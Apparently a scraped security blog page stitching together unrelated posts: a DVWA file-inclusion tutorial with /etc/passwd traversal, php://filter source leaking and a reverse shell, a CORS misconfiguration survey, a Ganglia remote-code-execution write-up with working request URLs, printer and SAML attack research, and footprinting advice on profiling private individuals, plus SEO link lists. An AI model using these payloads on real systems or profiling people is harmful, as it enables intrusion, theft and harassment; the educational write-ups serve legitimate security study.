يتذكر فهداً رآه على شاشة التلفزيون،
فهدا قويا يحاصر ظبيا رضيعا
وحين دنا منه شم الحليب
فلم يفترسه

كأن الحليب يروض وحش الفلاة
م.د
"حنى الوحوش ترفض أن تفعل مثلكم وتؤذي الطفولة أيها المجرمون"

12‏/06‏/2020

Learning Web Pentesting With DVWA Part 6: File Inclusion

In this article we are going to go through File Inclusion Vulnerability. Wikipedia defines File Inclusion Vulnerability as: "A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application."
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
Since it is loading different pages we can guess that it is loading local pages from the server and executing them. Lets try to get the famous /etc/passwd file found on every linux, to do that we have to find a way to access it via our LFI. We will start with this:
../etc/passwd
entering the above payload in the page parameter of the URL:
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
we get nothing back which means the page does not exist. Lets try to understand what we are trying to accomplish. We are asking for a file named passwd in a directory named etc which is one directory up from our current working directory. The etc directory lies at the root (/) of a linux file system. We tried to guess that we are in a directory (say www) which also lies at the root of the file system, that's why we tried to go up by one directory and then move to the etc directory which contains the passwd file. Our next guess will be that maybe we are two directories deeper, so we modify our payload to be like this:
../../etc/passwd
we get nothing back. We continue to modify our payload thinking we are one more directory deeper.
../../../etc/passwd
no luck again, lets try one more:
../../../../etc/passwd
nop nothing, we keep on going one directory deeper until we get seven directories deep and our payload becomes:
../../../../../../../etc/passwd
which returns the contents of passwd file as seen below:
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
php://filter/convert.base64-encode/resource=index.php
We will get a base64 encoded string. Lets copy that base64 encoded string in a file and save it as index.php.b64 (name can be anything) and then decode it like this:
cat index.php.b64 | base64 -d > index.php
We will now be able to read the web application's source code. But you maybe thinking why didn't we simply try to get index.php file without using php filter. The reason is because if we try to get a php file with LFI, the php file will be executed by the php interpreter rather than displayed as a text file. As a workaround we first encode it as base64 which the interpreter won't interpret since it is not php and thus will display the text. Next we will try to get a shell. Before php version 5.2, allow_url_include setting was enabled by default however after version 5.2 it was disabled by default. Since the version of php on which our dvwa app is running on is 5.2+ we cannot use the older methods like input wrapper or RFI to get shell on dvwa unless we change the default settings (which I won't). We will use the file upload functionality to get shell. We will upload a reverse shell using the file upload functionality and then access that uploaded reverse shell via LFI.
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999
Then using our LFI we will execute the uploaded reverse shell by accessing it using this url:
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
Voila! We have a shell.
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.

References:

  1. FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
  2. php://: https://www.php.net/manual/en/wrappers.php.php
  3. LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
  4. File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
  5. PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php


Related news


  1. Pentest Website
  2. Hacking Hardware
  3. Pentestmonkey
  4. Hacker Computer
  5. Pentest Environment
  6. Pentest Ios
  7. Hacker
  8. Hacker Tools
  9. Pentest Plus
  10. Pentest Smtp
  11. Pentest Hardware

11‏/06‏/2020

CORS Misconfigurations On A Large Scale

Inspired by James Kettle's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security issues a bit. We were curious how many websites out there are actually vulnerable because of dynamically generated or misconfigured CORS headers.

The issue: CORS misconfiguration

Cross-Origin Resource Sharing (CORS) is a technique to punch holes into the Same-Origin Policy (SOP) – on purpose. It enables web servers to explicitly allow cross-site access to a certain resource by returning an Access-Control-Allow-Origin (ACAO) header. Sometimes, the value is even dynamically generated based on user-input such as the Origin header send by the browser. If misconfigured, an unintended website can access the resource. Furthermore, if the Access-Control-Allow-Credentials (ACAC) server header is set, an attacker can potentially leak sensitive information from a logged in user – which is almost as bad as XSS on the actual website. Below is a list of CORS misconfigurations which can potentially be exploited. For more technical details on the issues read the this fine blogpost.

Misconfiguation Description
Developer backdoorInsecure developer/debug origins like JSFiddler CodePen are allowed to access the resource
Origin reflectionThe origin is simply echoed in ACAO header, any site is allowed to access the resource
Null misconfigurationAny site is allowed access by forcing the null origin via a sandboxed iframe
Pre-domain wildcardnotdomain.com is allowed access, which can simply be registered by the attacker
Post-domain wildcarddomain.com.evil.com is allowed access, can be simply be set up by the attacker
Subdomains allowedsub.domain.com allowed access, exploitable if the attacker finds XSS in any subdomain
Non-SSL sites allowedAn HTTP origin is allowed access to a HTTPS resource, allows MitM to break encryption
Invalid CORS headerWrong use of wildcard or multiple origins,not a security problem but should be fixed

The tool: CORStest

Testing for such vulnerabilities can easily be done with curl(1). To support some more options like, for example, parallelization we wrote CORStest, a simple Python based CORS misconfiguration checker. It takes a text file containing a list of domain names or URLs to check for misconfigurations as input and supports some further options:

usage: corstest.py [arguments] infile

positional arguments:
infile File with domain or URL list

optional arguments:
-h, --help show this help message and exit
-c name=value Send cookie with all requests
-p processes multiprocessing (default: 32)
-s always force ssl/tls requests
-q quiet, allow-credentials only
-v produce a more verbose output

CORStest can detect potential vulnerabilities by sending various Origin request headers and checking for the Access-Control-Allow-Origin response. An example for those of the Alexa top 750 websites which allow credentials for CORS requests is given below.

Evaluation with Alexa top 1 Million websites

To evaluate – on a larger scale – how many sites actually have wide-open CORS configurations we did run CORStest on the Alexa top 1 million sites:

$ git clone https://github.com/RUB-NDS/CORStest.git && cd cors/
$ wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
$ unzip top-1m.csv.zip
$ awk -F, '{print $2}' top-1m.csv > alexa.txt
$ ./corstest.py alexa.txt

This test took about 14 hours on a decent connection and revealed the following results:

Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag):

$ ./corstest.py -q alexa.txt

This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard):

The Impact: SOP/SSL bypass on payment and taxpayer sites

Note that not all tested websites actually were exploitable. Some contained only public data and some others - such as Bitbucket - had CORS enabled for their main page but not for subpages containing user data. Manually testing the sites, we found to be vulnerable:
  • A dozen of online banking, bitcoin and other payment sites; one of them allowed us to create a test account so we were able to write proof-of-concept code which could actually have been used to steal money
  • Hundred of online shops/e-commerce sites and a bunch of hotel/flight booking sites
  • Various social networks and misc sites which allow users to log in and communicate
  • One US state's tax filing website (however, this one was exploitable by a MitM only)
We informed all sites we manually tested and found to be vulnerable. A simple exploit code example when logged into a website with CORS origin reflection is given below.


The Reason: Copy & Paste and broken frameworks

We were further interested in reasons for CORS misconfigurations. Particularly we wanted to learn if there is a correlation between applied technology and misconfiguration. Therefore we used WhatWeb to fingerprint the web technologies for all vulnerable sites. CORS is usually enabled either directly in the HTTP server configuration or by the web application/framework. While we could not identify a single major cause for CORS misconfigurations, we found various potential reasons. A majority of dangerous Access-Control-* headers had probably been introduced by developers, others however are based on bugs and bad practices in some products. Insights follow:
  • Various websites return invalid CORS headers; besides wrong use of wildcards such as *.domain.com, ACAO headers which contain multiple origins can often be found; Other examples of invalid - but quite creative - ACAO values we observed are: self, true, false, undefined, None, 0, (null), domain, origin, SAMEORIGIN
  • Rack::Cors, the de facto standard library to enable CORS for Ruby on Rails maps origins '' or origins '*' into reflecting arbitrary origins; this is dangerous, because developers would think that '' allows nothing and '*' behaves according to the spec: mostly harmless because it cannot be used to make to make 'credentialed' requests; this config error leads to origin reflection with ACAC headers on about a hundred of the tested and vulnerable websites
  • A majority of websites which allow a http origin to CORS access a https resource are run on IIS; this seems to be no bug in IIS itself but rather caused by bad advises found on the Internet
  • nginx is the winner when it comes serving websites with origin reflections; again, this is not an issue of nginx but of dangerous configs copied from "Stackoverflow; same problem for Phusion Passenger
  • The null ACAO value may be based on programming languages that simply return null if no value is given (we haven't found any specific framework though); another explanation is that 'CORS in Action', a popular book on CORS, contains various examples with code such as var originWhitelist = ['null', ...], which could be misinterpreted by developers as safe
  • If CORS is enabled in the crVCL PHP Framework, it adds ACAC and ACAO headers for a configured domain. Unfortunatelly, it also introduces a post-domain and pre-subdomain wildcard vulnerability: sub.domain.com.evil.com
  • All sites that are based on "Solo Build It!" (scam?) respond with: Access-Control-Allow-Origin: http://sbiapps.sitesell.com
  • Some sites have :// or // as fixed ACAO values. How should browsers deal with this? Inconsistent at least! Firefox, Chrome, Safari and Opera allow arbitrary origins while IE and Edge deny all origins.

More info


  1. Is Hacking Illegal
  2. How To Pentest A Website
  3. Pentest Web Application
  4. Pentest As A Service
  5. Hacker Software
  6. Hacking Tools
  7. Pentest Vs Red Team
  8. Pentest Training
  9. Pentest Report
  10. Pentest Devices
  11. Hacking Resources
  12. Hacking Apps
  13. Hacking Linux
  14. Hacker Types

FOOTPRITING AND INFORMATION GATHERING USED IN HACKING

WHAT IS FOOTPRITING AND INFORMATION GATHERING IN HACKING?

Footpriting is the technique used for gathering information about computer systems and the entities they belongs too. 
To get this information, a hacker might use various tools and technologies.

Basically it is the first step where hacker gather as much information as possible to find the way for cracking the whole system or target or atleast decide what types of attacks will be more suitable for the target.

Footpriting can be both passive and active.

Reviewing a company's website is an example of passive footprinting, 
whereas attempting to gain access to sensititve information through social engineering is an example of active information gathering.

During this phase hacking, a hacker can collect the following information>- Domain name
-IP Addresses
-Namespaces
-Employee information 
-Phone numbers
-E-mails 
Job information

Tip-You can use http://www.whois.com/ website to get detailed information about a domain name information including its owner,its registrar, date of registration, expiry, name servers owner's contact information etc.

Use of  Footprinting & Information Gathering in People Searching-
Now a days its very easy to find anyone with his/her full name in social media sites like Facebook, Instragram,Twitter,Linkdedin to gather information about date of birth,birthplace, real photos, education detail, hobbies, relationship status etc.

There are several sites like PIPL,PeekYou, Transport Sites such as mptransport,uptransport etc and Job placement Sites such as Shine.com,Naukari.com , Monster.com etc which are very useful for hacker to collect information about anyone.  
Hacker collect the information about you from your Resume which you uploaded on job placement site for seeking a job as well as  hacker collect the information from your vehicle number also from transport sites to know about the owner of vehicle, adderess etc then after they make plan how to attack on victim to earn money after know about him/her from collecting information.




INFORMATION GATHERING-It is the process of collecting the information from different places about any individual company,organization, server, ip address or person.
Most of the hacker spend his time in this process.

Information gathering plays a vital role for both investigating and attacking purposes.This is one of the best way to collect victim data and find the vulnerability and loopholes to get unauthorized modifications,deletion and unauthorized access.



Related word

  1. Hackintosh
  2. Hacking Health
  3. Hacking Gif
  4. Pentest Jobs
  5. Pentest Report Generator
  6. Pentest Android App
  7. Pentest Open Source
  8. What Hacking Is
  9. Hacking
  10. Pentest As A Service
  11. Pentest Tools Framework
  12. Pentest Documentation
  13. Pentestmonkey
  14. Hacking Bluetooth
  15. Pentest Book
  16. Pentest Methodology
  17. Pentest Checklist
  18. Hacking Websites

10‏/06‏/2020

How To Download Torrents Files Directly To Your Android Device

Download-Torrent-files-Android-Devices
uTorrent, one of the most popular BitTorrent clients, is now available for Android smartphones and tablets. Its use on mobile devices is very similar to its use in the PC. All you need is to search for torrents using the web browser on your mobile device, then uTorrent will download the files.

Procedure:

Other softwares

Related links


Top Users Command In Linux Operating System With Descriptive Definitions


Linux is a command line interface and has a graphical interface as well. But the only thing we should know how we interact with Linux tools and applications with the help of command line. This is the basic thing of Linux.  As you can do things manually by simple clicking over the programs just like windows to open an applications. But if you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well.
In this blog you will get a content about commands of Linux which are collectively related to the system users. That means if you wanna know any kind of information about the users of the system like username passwords and many more.

id

The "id" command is used in Linux operating system for the sake of getting knowledge about active user id with login and group. There may be different users and you wanna get a particular id of the user who is active at that time so for this you just have to type this command over the terminal.

last

The "last" command is used in Linux operating system to show the information about the last logins on the system. If you forget by which user id you have logged in at last time. So for this information you can search login detail by using this command.

who

The "who" command is used in Linux distributions to display the information about the current user which a an active profile over the Linux operating system. If you are in the system and you don't know about that active user and suddenly you have to know about that user detail so you can get the info by using this command.

groupadd

The "groupadd admin" is the command which is used in Linux operating system to add a group in the Linux system to gave the privileges to that group.

useradd

The "useradd" command is used in Linux operating system to add user or users to a specific group. If you wanna add a user name Umer so for this matter you just have to write a command i.e. useradd -c "Umer".

userdel

The "userdel" command is used in Linux operating system for the purpose to delete any user or users from the particular group present in the linux operating system. For example "userdel Umer" this command will delete the user named Umer.

adduser

The "adduser" command is a simple command used to create directly any user in the system. There is no need to make a group for this. You just have to type the command with user name like adduser Umer, it will created a user by name Umer.

usermod

The "usermod" is a command used in Linux operating system to modify the information of any particular user. You can edit or delete information of any particular user in the Linux operating system.


More info

09‏/06‏/2020

Router-Exploit-Shovel: An Automated Application Generator For Stack Overflow Types On Wireless Routers

About Router-Exploit-Shovel
   Router-Exploit-Shovel is an automated application generation for Stack Overflow types on Wireless Routers.

   Router exploits shovel is an automated application generation tool for stack overflow types on wireless routers. The tool implements the key functions of exploits, it can adapt to the length of the data padding on the stack, generate the ROP chain, generate the encoded shellcode, and finally assemble them into a complete attack code. The user only needs to attach the attack code to the overflow location of the POC to complete the Exploit of the remote code execution.

   The tool supports MIPSel and MIPSeb.Run on Ubuntu 16.04 64bit.

Router-Exploit-Shovel's Installation
   Open your Terminal and enter these commands:
Usage

   Example: python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Router-Exploit-Shovel's screenshot

Code structure

ROP chain generation
   This tool uses pattern to generate ROP chains. Extract patterns from common ROP exploitation procedure. Use regex matching to find available gadgets to fill up chain strings. Base64 encoding is to avoid duplicate character escapes. For example:

Attackblocks
   You can get attackblocks generated in results/attackBlocks.txt. Such as:

You might like these similar tools:

Related posts


  1. Hackerx
  2. Pentest Blog
  3. Pentest Checklist
  4. Hacking Websites
  5. Hacking Gif
  6. Pentestlab
  7. Pentest Vpn
  8. Pentest Basics
  9. Hacking 3Ds
  10. Pentest Android App

DEFINATION OF HACKING

DEFINATION OF HACKING

Hacking is an attempt to exploit a  computer system vulnerabilities or a private network inside a computer to gain unauthorized acess.
Hacking is identifying and exploiting weakness in computer system and/ or computer networks for finding the vulnerability and loopholes.

Related posts


Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448Related links
  1. Pentest Jobs
  2. Hacking Websites
  3. Hacking Tools
  4. Hacking Youtube
  5. Hacker On Computer
  6. Pentest Cheat Sheet
  7. Pentest Hardware
  8. Pentest Nmap
  9. Hacker Anonymous
  10. Hackerrank
  11. Pentest Windows
  12. Hacking Attack
  13. Pentest Devices
  14. Pentest+ Vs Oscp
  15. Basic Pentest 1 Walkthrough
  16. Pentest Companies
  17. Pentest Methodology
  18. Hacking Device

08‏/06‏/2020

$$$ Bug Bounty $$$

What is Bug Bounty ?



A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
Related posts

New Printers Vulnerable To Old Languages

When we published our research on network printer security at the beginning of the year, one major point of criticism was that the tested printers models had been quite old. This is a legitimate argument. Most of the evaluated devices had been in use at our university for years and one may raise the question if new printers share the same weaknesses.

35 year old bugs features

The key point here is that we exploited PostScript and PJL interpreters. Both printer languages are ancient, de-facto standards and still supported by almost any laser printer out there. And as it seems, they are not going to disappear anytime soon. Recently, we got the chance to test a $2,799 HP PageWide Color Flow MFP 586 brand-new high-end printer. Like its various predecessors, the device was vulnerable to the following attacks:
  • Capture print jobs of other users if they used PostScript as a printer driver; This is done by first infecting the device with PostScript code
  • Manipulate printouts of other users (overlay graphics, introduce misspellings, etc.) by infecting the device with PostScript malware
  • List, read from and write to files on the printers file system with PostScript as well as PJL functions; limited to certain directories
  • Recover passwords for PostScript and PJL credentials; This is not an attack per se but the implementation makes brute-force rather easy
  • Launch denial of Service attacks of various kinds:

Now exploitable from the web

All attacks can be carried out by anyone who can print, which includes:
Note that the product was tested in the default configuration. To be fair, one has to say that the HP PageWide Color Flow MFP 586 allows strong, Kerberos based user authentication. The permission to print, and therefore to attack the device, can be be limited to certain employees, if configured correctly. The attacks can be easily reproduced using our PRET software. We informed HP's Software Security Response Team (SSRT) in February.

Conclusion: Christian Slater is right

PostScript and PJL based security weaknesses have been present in laser printers for decades. Both languages make no clear distinction between page description and printer control functionality. Using the very same channel for data (to be printed) and code (to control the device) makes printers insecure by design. Manufacturers however are hard to blame. When the languages were invented, printers used to be connected to a computer's parallel or serial port. No one probably thought about taking over a printer from the web (actually the WWW did not even exist, when PostScript was invented back in 1982). So, what to do? Cutting support for established and reliable languages like PostScript from one day to the next would break compatibility with existing printer drivers. As long as we have legacy languages, we need workarounds to mitigate the risks. Otherwise, "The Wolf" like scenarios can get very real in your office…

Read more


  1. Pentest Xss
  2. Hacker Videos
  3. Pentest Tools Free
  4. Pentest Windows
  5. Hacker Anonymous
  6. Pentest +
  7. Hacking Network
  8. Pentest Vpn
  9. Pentest Meaning
  10. Pentest Report Generator
  11. Hacker Language
  12. Pentesting Tools
  13. Pentest Bootcamp
  14. Pentest Red Team
  15. Hacking Forums
  16. Pentest Azure
  17. Pentest Iso
  18. Pentest Basics
  19. Basic Pentest 1 Walkthrough
  20. Pentest Online Course

07‏/06‏/2020

Probing For XML Encryption Weaknesses In SAML With EsPReSSO

Security Assertion Markup Language (SAML) is an XML-based standard commonly used in Web Single Sign-On (SSO) [1]. In SAML, the confidentiality of transferred authentication statements against intermediaries can be provided using XML Encryption [2]. However, implementing XML Encryption in a secure way can be tricky and several attacks on XML Encryption have been identified in the past [3] [4]. Therefore, when auditing a SAML endpoint, one should always consider testing for vulnerabilities in the XML Encryption implementation.

This blog post introduces our latest addition to the SAML Attacker of our BurpSuite extension EsPReSSO: the Encryption Attack tab. The new tab allows for easy manipulation of the encrypted parts within intercepted SAML responses and can, therefore, be used to quickly assess whether the SAML endpoint is vulnerable against certain XML Encryption attacks.


Weaknesses of XML Encryption

Implementations of XML Encryption can be vulnerable to adaptive chosen ciphertext attacks. This is a class of attacks in which the attacker sends a sequence of manipulated ciphertexts to a decryption oracle as a way to gain information about the plaintext content.
Falsely implemented XML Encryption can be broken using:
  • an attack against the CBC-mode decryption (quite similar to a padding oracle attack) [3] or
  • a Bleichenbacher attack against the RSA-PKCS#1 encryption of the session key  [4].
SAML makes use of XML Encryption and its implementations could, therefore, also be vulnerable to these attacks.

XML Encryption in SAML

To support confidential transmission of sensitive data within the SAML Assertion, assertions can be encrypted using XML Encryption. An EncryptedAssertion is shown in the abridged example below.

<EncryptedAssertion>
  <EncryptedData>
    <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
    <KeyInfo>
      <EncryptedKey>
        <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
        <CipherData>
          <CipherValue>
            [...]
          </CipherValue>
        </CipherData>
      </EncryptedKey>
    </KeyInfo>
    <CipherData>
        <CipherValue>
          [...]
        </CipherValue>
    </CipherData>
  </EncryptedData>
</EncryptedAssertion>

The EncryptedAssertion contains an EncryptedData element, which in turn is the parent of the EncryptionMethod, KeyInfo, and CipherData elements.  SAML makes use of what is referred to as a hybrid encryption scheme. This is done using a session key which symmetrically encrypts the payload data (the example uses AES-128 in CBC mode), resulting in the ciphertext contained in the EncryptedAssertion/EncryptedData/CipherData/CipherValue child element. The session key itself is encrypted using an asymmetric encryption scheme. In our example, RSA-PKCS#1.5 encryption is used with the public key of the recipient, allowing the contents of the the EncryptedKey child element to be derived from the KeyInfo element. 

Encryption Attacker

Our BurpSuite extension EsPReSSO can help detect vulnerable implementations with the newly integrated Encryption Attacker within EsPReSSO's SAML module.

Once a SAML response which contains an EncryptedAssertion has been intercepted, open the SAML tab, select the Attacks pane, and choose Encryption from the dropdown menu. This works in Burp's Proxy, as well as in the Repeater tool, and is depicted below.
As sketched out above, the symmetric session key is encrypted using the recipient's public key. Since the key is public, anybody can use it to encrypt a selected symmetric key and submit a valid encryption of arbitrary messages to the recipient. This is incredibly helpful because it allows us to produce ciphertexts that decrypt the chosen plaintexts. To accomplish this, one can purposefully send invalidly padded messages, or messages containing invalid XML, as a method to trigger and analyze the different reactions of the decryption endpoint (i.e, turning the endpoint into a decryption oracle). To facilitate these investigations, the new Encryption Attacker makes this process dead simple.
The screenshot above shows the essential interface of the new encryption tab:
At the top, the certificate used to encrypt the symmetric session key can be pasted into the text field. This field will be pre-filled automatically if the intercepted SAML message includes a certificate in the KeyInfo child element of the EncryptedData element. The Update Certificate checkboxes above the text area can be used to include the certificate in the manipulated SAML message.
In the Symmetric Key text field, the hexadecimal value of the symmetric session key can be set. Choose the asymmetric algorithm from the dropdown menu and click Encrypt key -- this will update the corresponding KeyInfo elements of the intercepted SAML message. 

The payload in the text area labeled XML data can now be entered. Any update in the XML data field will also be reflected in the hexadecimal representation of the payload (found on right of the XML data field). Note that this is automatically padded to the blocklength required by the symmetric algorithm selected below. However, the payload and the padding can be manually adjusted in the hex editor field.

Eventually, click the Encrypt content button to generate the encrypted payload. This will apply the changes to the intercepted SAML message, and the manipulated message using Burp's Forward or Go button can now be forwarded, as usual.

Probing for Bleichenbacher Oracles

Bleichenbacher's attack against RSA-PKCS1 v1.5 encryption abuses the malleability of RSA to draw conclusions about the plaintext by multiplying the ciphertext with adaptively chosen values, and observing differences in the received responses. If the (error-) responses differ for valid and invalid PKCS1 v1.5 ciphertexts, Bleichenbachers' algorithm can be used to decrypt the ciphertext without knowing the private key [6].

To determine whether or not a SAML endpoint is vulnerable to Bleichenbacher's Attack, we simply need to check if we can distinguish those responses received when submitting ciphertexts that are decrypted into invalidly formatted PKCS1 v1.5 plaintexts, from the responses we receive when sending ciphertexts that are decrypted into validly formatted plaintexts. 

Recall that PKCS1 v1.5 mandates a certain format of the encrypted plaintext, namely a concatenation of a BlockType 00 02, a randomized PaddingString (PS) that includes no 00 bytes, a 00 (NULL-byte) as delimiter, and the actual plaintext message. The whole sequence should be equal in size to the modulus of the RSA key used. That is, given the byte length k of the RSA modulus and the message length |m|, PS has the length |PS| = k - 3 - |m|. Furthermore, PKCS1 v1.5 demands that |PS| to be at least eight bytes long [5]. 

In SAML, the recipient's public key is usually known because it is published in the metadata, or even included in the EncryptedAssertion. For this reason, we do not need to fiddle around with manipulated ciphertexts. Instead, we simply submit a validly formatted RSA-PKCS1 v1.5 encrypted message and an encrypted message which deciphers into an invalidly formatted plaintext. As an example, assume an RSA public key of 2048 bits which we want to use to encrypt a 16 byte session key `01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10` (hexadecimal representation). |PS|$ is $2048/8 - 3 - 16 = 237, so a valid PKCS1 v1.5 plaintext, ready to be encrypted using `AA` for all 237 padding bytes, could look like the listing shown below.

00 02 AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 00
